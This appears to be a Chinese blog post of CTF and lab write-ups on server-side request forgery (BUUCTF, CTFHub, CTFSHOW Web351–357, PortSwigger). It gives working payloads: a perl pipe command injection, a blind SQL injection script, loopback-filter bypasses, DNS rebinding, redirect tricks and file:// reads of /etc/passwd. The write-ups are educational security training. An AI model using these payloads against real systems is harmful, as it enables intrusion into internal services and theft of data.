SSRF专题-题解


想系统学习一下SSRF,这个专题用来记录自己找的一些SSRF题目

BUUCTF

BUUCTF-[HITCON 2017]SSRFme

题目直接丢了一段代码让审计

120.32.142.100 <?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {//检测是否存在X_FORWARDED_FOR头
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);//如果存在,将X_FORWARDED_FOR头部拆分成一个数组
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];//提取出数组的第一个IP地址
    }//这一段代码的作用总的说就是判断是否存在X_FORWARDED_FOR头部,如果存在,将其中的第一个IP地址取出

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);//将上面获得的ip地址结合一个字符串orange进行md5加密
    @mkdir($sandbox);//基于生成的哈希值在sandbox目录下创建一个子目录
    @chdir($sandbox);//切换到该目录

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));//使用 shell_exec 执行系统命令 GET 来获取 URL 的内容,并将结果存储在 $data 变量中;
    //escapeshellarg 用于对 $_GET["url"] 进行转义以避免命令注入
    $info = pathinfo($_GET["filename"]);// 获取$_GET["filename"]的路径信息
    $dir  = str_replace(".", "", basename($info["dirname"]));// 去除目录名中的点号,创建目录并更改工作目录
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);// 将下载的数据保存到指定的文件中
    highlight_file(__FILE__);// 高亮显示当前PHP文件的源代码

简单来说,这段代码获取用户输入的URL内容,然后将其存入filename对应的位置。
我们先看看根目录有哪些文件

url=/&filename=test

在这里插入图片描述
又一个readflag,应该是要用readflag读取flag。那如何执行呢,这里考到了GET的一个命令执行漏洞。GET使用file协议时候底层会调用perl中的open函数,而perl函数要打开的文件名中如果以管道符(键盘上那个竖杠|)结尾,就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行,并且将命令的执行结果作为这个文件的内容写入。这个命令的执行权限是当前的登录者。如果你执行这个命令,你会看到perl程序运行的结果。
整理一下思路,现在我们需要打开一个文件名是执行readflag命令的文件;没有这个文件所以我们要先创建,创建后访问这个url并将结果存入test文件即可。

url=&filename=bash -c /readflag|
url=file:bash -c /readflag|&filename=test

在这里插入图片描述

BUUCTF-[第二章 web进阶]SSRF Training

点击查看源码
在这里插入图片描述
代码如下:

<?php 
highlight_file(__FILE__);
function check_inner_ip($url) 
{ 
    $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url); 
    if (!$match_result) 
    { 
        die('url fomat error'); 
    } 
    try 
    { 
        $url_parse=parse_url($url); 
    } 
    catch(Exception $e) 
    { 
        die('url fomat error'); 
        return false; 
    } 
    $hostname=$url_parse['host']; 
    $ip=gethostbyname($hostname); 
    $int_ip=ip2long($ip); 
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; 
} 

function safe_request_url($url) 
{ 
     
    if (check_inner_ip($url)) 
    { 
        echo $url.' is inner ip'; 
    } 
    else 
    {
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, $url); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch, CURLOPT_HEADER, 0); 
        $output = curl_exec($ch); 
        $result_info = curl_getinfo($ch); 
        if ($result_info['redirect_url']) 
        { 
            safe_request_url($result_info['redirect_url']); 
        } 
        curl_close($ch); 
        var_dump($output); 
    } 
     
} 

$url = $_GET['url']; 
if(!empty($url)){ 
    safe_request_url($url); 
} 

?>

看一看代码执行流程,首先接收一段URL

$url = $_GET['url']; 

然后判断,如果URL非空,那么执行safe_request_url函数

if(!empty($url)){ 
    safe_request_url($url); 
} 

然后看safe_request_url函数

function safe_request_url($url) 
{ 
     
    if (check_inner_ip($url)) //判断check_inner_ip()执行结果是否为true,是则报错
    { 
        echo $url.' is inner ip'; 
    } 
    else 
    {
        $ch = curl_init(); //初始化一个curl会话
        curl_setopt($ch, CURLOPT_URL, $url);//设置要获取的url为传入的url参数
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //将传输结果返回为字符串
        curl_setopt($ch, CURLOPT_HEADER, 0); //不返回头部信息
        $output = curl_exec($ch); //执行curl请求
        $result_info = curl_getinfo($ch); //获取请求信息
        if ($result_info['redirect_url']) //判断是否需要重定向,如果需要那么用safe_request_url函数处理,也就是不断向下执行,直到获取到数据为止
        { 
            safe_request_url($result_info['redirect_url']); 
        } 
        curl_close($ch); //关闭curl会话:
        var_dump($output); //输出结果;
    } 
     
} 

现在看看check_inner_ip函数,它用于检查给定的URL是否属于内部IP地址(如私有IP地址范围)

function check_inner_ip($url) 
{ 
    $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url); //首先判断传入的参数是否为url格式
    if (!$match_result) //如果不是则报错
    { 
        die('url fomat error'); 
    } 
    try 
    { 
        $url_parse=parse_url($url); //parse_url会将url分成6个部分,(scheme, host, port, path, query, fragment)
    } 
    catch(Exception $e) //执行失败就报错
    { 
        die('url fomat error'); 
        return false; 
    } 
    $hostname=$url_parse['host']; //获取主机名
    $ip=gethostbyname($hostname); //将主机名解析为ip地址
    $int_ip=ip2long($ip); // 将IP地址转换为整数
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; // 检查IP地址是否属于内网IP范围,如果属于就返回true
} 

所以我们的目的就是,通过curl读取flag.php里面的数据,也就是说,在不考虑任何过滤的理想情况下,我们的payload应该是这样的

curl http://127.0.0.1/flag.php

所以现在的目的是绕过私有ip的检测,而通过代码审计我们可以发现,私有ip检测的对象其实是利用parse_url()函数处理后的host参数,parse_url()处理后的具体参数如下

	[scheme] => http
    [host] => hostname
    [user] => username
    [pass] => password
    [path] => /path
    [query] => arg=value
    [fragment] => anchor

而这样的拆分方法主要是适用于以下完整的url:

http://username:password@hostname/path?arg1=value1&arg2=value2#anchor

而curl,按照其解析方式只会考虑第一个 @ 符号作为分隔用户信息和主机部分的分隔符。那么这里我们就需要两个@符号了。一个@用于curl解析,另一个@用于提供给私有ip检测,所以可以构造如下payload:

http://a:@127.0.0.1:80@www.baidu.com/flag.php

成功获取flag
在这里插入图片描述

CTFHUB

2021-第四届红帽杯网络安全大赛-Web-WebsiteManger(ctfhub)

访问网页源码,发现可疑的注入点
在这里插入图片描述
测试发现没有过滤if

?id=if(1=1,3,5)//1=1返回3
?id=if(1=2,3,5)//1!=2返回5

在这里插入图片描述
编写一个简单的布尔盲注脚本

import requests

# 目标URL和初始payload
url = 'http://challenge-693ece1a4005fc3d.sandbox.ctfhub.com:10800/image.php'
payload_template = "?id={}"

# 字符集合,根据需要调整
charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'

# 初始化提取出来的数据
extracted_data = ''

# 循环提取每个位置的字符
for position in range(1, 50):  # 假设最多50个字符
    found = False
    for char in charset:
        # 构造当前测试的payload
        payload = payload_template.format(
            f"if(ascii(mid(database(),{position},1))=ord('{char}'),3,5)"
        )
        # 发送请求
        response = requests.get(url + payload)
        # print(payload)
        # 根据应用的不同响应来判断条件是否成立
        if len(response.text)>400:
            extracted_data += char
            found = True
            break
    if not found:
        break

print("Extracted data:", extracted_data)

得到数据库名ctf

if(ascii(mid((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=\'ctf\'),{position},1))=ord('{char}'),3,5)#表名

最后跑出管理员信息如下:admin、714e60f36551d03b5bcb3c1ef5e3aa74

接下来是ssrf,测试127.0.0.1
在这里插入图片描述
使用curl进行读取,那么使用file协议读取内容即可

payload=file:///flag

在这里插入图片描述

攻防世界

SSRF Me(攻防世界)

打开网址,提示输入url和验证码
在这里插入图片描述
首先看看验证码逻辑,判断验证码后六位的md5值是否和给出的字符串相等,所以我们可以编写以下代码

<?php
    $capture=0;//初始化验证码为0
    while(true){
        if(substr(md5($capture), -6, 6) == "c84407"){//直到末尾6位符合条件时输出值,并跳出循环
             echo "$capture";
             break;
        }
        $capture+=1;//不对就不断累加
    }
?>

在这里插入图片描述
得到验证码,然后输入网址,源码中得知本机不能访问外网
在这里插入图片描述
于是访问本机地址测试,利用file协议直接读取本地flag文件

file:///flag

在这里插入图片描述
提示hacker,换一个文件夹读取试试

file:///etc/passwd

在这里插入图片描述
没问题,所以应该是flag被过滤了,对flag进行url编码(注意一般url编码都是对特殊字符进行编码,要对字母进行编码可以将字母转为hex形式,或者转为16进制加百分号即可)
在这里插入图片描述

file:///%66%6c%61%67

在这里插入图片描述

CTFSHOW

Web351(CTFSHOW)

<?php
error_reporting(0);//禁用错误报告,也就是脚本运行过程中遇到遇到任何错误或警告,它们不会显示在输出中
highlight_file(__FILE__);//使用语法高亮显示当前文件的源代码
$url=$_POST['url'];//从POST请求中获取名为 url 的参数
$ch=curl_init($url);// 初始化一个cURL会话
curl_setopt($ch, CURLOPT_HEADER, 0);//设定不包含头信息在输出中
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//设定将cURL执行结果返回,而不是直接输出;只有这样才能将结果存储在一个变量中,而不是直接输出在页面上。
$result=curl_exec($ch);//执行cURL会话,并将结果存储在 $result 变量中
curl_close($ch);//关闭cURL会话并释放资源
echo ($result);//输出结果
?>

代码审计发现,代码本身没有进行任何过滤,所以直接读取flag就行了
在这里插入图片描述

Web352(CTFSHOW)

<?php
error_reporting(0);//禁用错误报告
highlight_file(__FILE__);//高亮显示文件内容
$url=$_POST['url'];//获取POST传递的url参数
$x=parse_url($url);//使用 parse_url 函数解析URL,返回一个包含URL各部分的关联数组(scheme, host, path等)。
if($x['scheme']==='http'||$x['scheme']==='https'){//检查URL的协议是否为HTTP或HTTPS。如果是,继续执行;
if(!preg_match('/localhost|127.0.0/')){//没有指定对哪个字符串进行匹配,纯没用
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

看似过滤,其实没有匹配字符串,和上题一样的POC即可

url=http://127.0.0.1/flag.php

在这里插入图片描述

Web353(CTFSHOW)

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

与上一题对比,可以看出这题对url进行了验证

if(!preg_match('/localhost|127.0.0/'))

变为了

if(!preg_match('/localhost|127\.0\.|\。/i', $url))

具体过滤规则如下

1、localhost 匹配字符串 "localhost"2127\.0\. 匹配字符串 "127.0."。注意,反斜杠 \ 是为了转义点号 .,因为在正则表达式中,点号 . 表示任意单个字符。
3| 是一个“或”运算符,表示匹配 "localhost""127.0."4/i 表示不区分大小写的匹配。

注意这里没法用file协议读取,因为源码里面验证了访问协议必须为http或者https

if($x['scheme']==='http'||$x['scheme']==='https')

所以只能想办法绕过本地ip了,可以采用进制转换的方式绕过

127.0.0.1->0177.0.0.1//8进制
127.0.0.1->2130706433//10进制整数
127.0.0.1->0x7F.0.0.1//16进制
127.0.0.1->0x7F000001//16进制整数

还有几个特殊的绕过方式

127.0.0.1->0//在linux中,0表示本地地址
127.0.0.1->127.1//在解析IP地址时,省略的部分会被自动补齐为零
127.0.0.1->127.127.127.127//127.127.127.127 是一个有效的IPv4地址,属于 127.0.0.0/8 子网。这个子网的所有地址都被保留用于本地环回测试。因此,127.127.127.127 实际上也指向本地主机。

在这里插入图片描述

Web354(CTFSHOW)

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

和上题相比,这道题多了对0和1的判断,任何带有0或1的字符串都将被匹配报错,所以找个能够解析道127.0.0.1的域名接口

http://sudo.cc/flag.php

在这里插入图片描述
或者在自己服务器上搭建一个302跳转

<?php
// 设置重定向URL
$redirect_url = "http://127.0.0.1/flag.php";

// 发送HTTP头,重定向到新的URL
header("Location: $redirect_url");

// 确保脚本停止执行
exit();
?>

然后传入这个自己服务器的脚本地址即可

http://域名/redirect.php

也可以注册一个ceye账号,用平台提供的域名进行测试,添加dns解析127.0.0.1
在这里插入图片描述
url格式为

http://r.域名/flag.php

r. 前缀通常用于DNS回显。它表明你在使用DNS协议来进行回显测试。

Web355(CTFSHOW)

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

限制了目标服务器的域名或IP地址长度不超过5

if((strlen($host)<=5))
payload:url=http://127.1/flag.php

在这里插入图片描述

Web356(CTFSHOW)

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

限制IP位数小于等于3,那用0就行了

payload:url=http://0/flag.php

在这里插入图片描述

Web357(CTFSHOW)

<?php
error_reporting(0); // 禁用错误报告
highlight_file(__FILE__); // 高亮显示文件的源代码

$url = $_POST['url']; // 从POST请求中获取URL
$x = parse_url($url); // 解析URL,返回其组成部分的数组

// 检查URL的协议是否为HTTP或HTTPS
if ($x['scheme'] === 'http' || $x['scheme'] === 'https') {
    $ip = gethostbyname($x['host']); // 获取主机名的IP地址
    echo '</br>' . $ip . '</br>';

    // 检查IP地址是否是公共IP地址(不是内网或保留地址)
    if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
        die('ip!'); // 如果是内网或保留地址,终止脚本执行
    }

    echo file_get_contents($_POST['url']); // 获取并显示URL的内容
} else {
    die('scheme'); // 如果协议不是HTTP或HTTPS,终止脚本执行
}
?>

这段代码与上面几题不同的地方在于,使用了内置的fileter_var函数来校验ip的合法性,我们详细解释一下这部分代码

if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
        die('ip!'); // 如果是内网或保留地址,终止脚本执行
    }
filter_var 是一个PHP内置函数,用于验证和过滤数据。
第一个参数 $ip 是要验证的IP地址。
第二个参数 FILTER_VALIDATE_IP 指定了过滤器类型,表示要验证输入的值是否是一个合法的IP地址。
第三个参数是标志,指定了额外的验证选项:
	FILTER_FLAG_NO_PRIV_RANGE:检查IP地址是否在私有IP范围内。如果IP地址属于私有范围,此标志会使验证失败。
	FILTER_FLAG_NO_RES_RANGE:检查IP地址是否在保留IP范围内。如果IP地址属于保留范围,此标志会使验证失败。

私有地址范围

10.0.0.010.255.255.255
172.16.0.0172.31.255.255
192.168.0.0192.168.255.255

保留IP地址范围

0.0.0.0/8:当前网络段
127.0.0.0/8:环回地址(本地主机)
169.254.0.0/16:链路本地地址
192.0.2.0/24TEST-NET-1,文档和示例用
198.51.100.0/24TEST-NET-2,文档和示例用
203.0.113.0/24TEST-NET-3,文档和示例用
224.0.0.0239.255.255.255:组播地址
240.0.0.0255.255.255.254:未来使用
255.255.255.255:广播地址

也就是说,这段代码也就是验证了以上IP地址范围,我们注意到整段代码中调用了两次url,一次是用于验证的filter_var,一次是获取内容的file_get_contents。
那我们可以使用ceye做dns rebinding,绑定两个ip,一个ip用于绕过验证,另一个ip用于读取
在这里插入图片描述
这样的话第一次域名解析得到的ip就是38.39.38.39,通过了验证;第二次读取文件内容时域名解析得到的ip就是127.0.0.1,成功获取文件
在这里插入图片描述
或者直接用自己的服务器,同Web354
在这里插入图片描述

Burpsuit靶场

Blind SSRF with out-of-band detection

前两关的漏洞点出现在检查库存处,本关中没有检查库存功能,根据题解发现漏洞点位于Referer处(长脑子了长脑子了…)
点击一个商品
在这里插入图片描述
burp中抓到如下包
在这里插入图片描述

打开Collaborator,获取一个url
在这里插入图片描述

copy
在这里插入图片描述
将抓到包的Referer值改为copy的url,重新发包
在这里插入图片描述
直接点击poll now能够立马接收到数据,否则默认60s刷新
在这里插入图片描述
这里有个问题,不明白为什么能够利用Referer头进行SSRF利用,挖个坑后面搞懂了填上,评论区有师傅知道的话麻烦指点一下(Respect

SSRF with blacklist-based input filter

一样是检查库存功能点
在这里插入图片描述
直接替换地址已经不行了
在这里插入图片描述
题目提示黑名单,说明限制了url,而localhost和admin都可能被过滤,这里我们一个一个绕过,首先是localhost,表示本机地址,可以用127.0.0.1代替,而127.0.0.1也被限制了
在这里插入图片描述
这时候可以采用的地址有几种,这里只指出本题可以使用的

http://127.1 //省略0
或修改本地hosts文件

在这里插入图片描述

更多绕过方法可以看这篇文章
localhost绕过方法
接下来绕过admin,对字母a经过两次url编码绕过
在这里插入图片描述
为什么两次url编码呢?因为测试一次编码不行。。。。
接下来直接删除即可
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

SSRF with filter bypass via open redirection vulnerability

点击next product
在这里插入图片描述
302跳转
在这里插入图片描述
这里有个问题,这个位置无法跟踪跳转,也就是如果简单拦截修改放包,只能够在本机跳转,仍然没有内网的访问权限,所以我们需要一个接口来获取跳转页面信息,那么检查库存接口又能派上用场了

payload:stockApi=/product/nextProduct%3fcurrentProductId%3d1%26path%3dhttp%3a//192.168.0.12%3a8080/admin

在这里插入图片描述
获取到删除链接后就可以将网址改为删除链接做ssrf

payload:stockApi=/product/nextProduct%3fcurrentProductId%3d1%26path%3dhttp%3a//192.168.0.12%3a8080/admin/delete%3fusername%3dcarlos

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值